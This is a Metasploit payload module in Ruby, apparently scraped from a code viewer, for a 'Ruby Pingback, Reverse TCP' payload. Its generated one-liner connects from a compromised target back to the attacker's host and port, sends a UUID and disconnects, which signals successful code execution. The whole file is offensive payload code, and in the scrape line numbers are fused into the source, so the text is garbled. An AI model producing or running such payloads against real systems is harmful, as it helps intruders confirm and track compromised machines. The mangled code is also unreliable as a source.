Path: blob/master/modules/payloads/singles/ruby/pingback_reverse_tcp.rb
19778 views
module MetasploitModule1CachedSize = 10723include Msf::Payload::Single4include Msf::Payload::Ruby5include Msf::Payload::Pingback6include Msf::Payload::Pingback::Options78def initialize(info = {})9super(10merge_info(11info,12'Name' => 'Ruby Pingback, Reverse TCP',13'Description' => 'Connect back to the attacker, sends a UUID, then terminates',14'Author' => 'asoto-r7',15'License' => MSF_LICENSE,16'Platform' => 'ruby',17'Arch' => ARCH_RUBY,18'Handler' => Msf::Handler::ReverseTcp,19'Session' => Msf::Sessions::Pingback,20'PayloadType' => 'ruby'21)22)23end2425def generate(_opts = {})26# return prepends(ruby_string)27return ruby_string28end2930def ruby_string31self.pingback_uuid ||= generate_pingback_uuid32lhost = datastore['LHOST']33lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost)34return "require'socket';" \35"c=TCPSocket.new'#{lhost}',#{datastore['LPORT'].to_i};" \36"c.puts'#{[[self.pingback_uuid].pack('H*')].pack('m0')}'.unpack('m0');" \37'c.close'38end39end404142